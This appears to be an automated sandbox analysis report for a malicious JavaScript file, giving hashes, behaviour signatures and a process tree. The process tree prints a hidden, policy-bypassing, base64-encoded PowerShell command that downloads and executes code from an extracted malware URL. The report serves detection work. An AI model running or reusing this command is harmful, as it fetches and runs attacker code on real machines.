Analysis
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max time kernel
137s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
13/01/2024, 02:58
Static task
static1
Behavioral task
behavioral1
Sample
57cd6ddf56a1c229d6df2cf6c8421d61.js
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
57cd6ddf56a1c229d6df2cf6c8421d61.js
Resource
win10v2004-20231222-en
General
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Target
57cd6ddf56a1c229d6df2cf6c8421d61.js
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Size
115KB
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MD5
57cd6ddf56a1c229d6df2cf6c8421d61
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SHA1
b77d45af4a170250eafd7f108d2ae29e43791b1e
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SHA256
61164d3ffff536800192f713f482e0ddc9404d8fbae373a3ec3219ecc1b38288
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SHA512
50601f779e6102e201beb83b48e67442432aeb811efeb6b068bb5928a4e9ef62f8d7ad466b6f9d37c562a8ad361c64318b77af78ed933f768651391ee3fa6b9b
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SSDEEP
3072:U9Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXq:U9Ry9RuXqW4SzUHmLKeMMU7GwWBPwVGL
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 17 2276 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2276 powershell.exe 2276 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2276 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3380 wrote to memory of 3232 3380 wscript.exe 90 PID 3380 wrote to memory of 3232 3380 wscript.exe 90 PID 3232 wrote to memory of 2276 3232 cmd.exe 92 PID 3232 wrote to memory of 2276 3232 cmd.exe 92
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\57cd6ddf56a1c229d6df2cf6c8421d61.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:3232 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2276
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82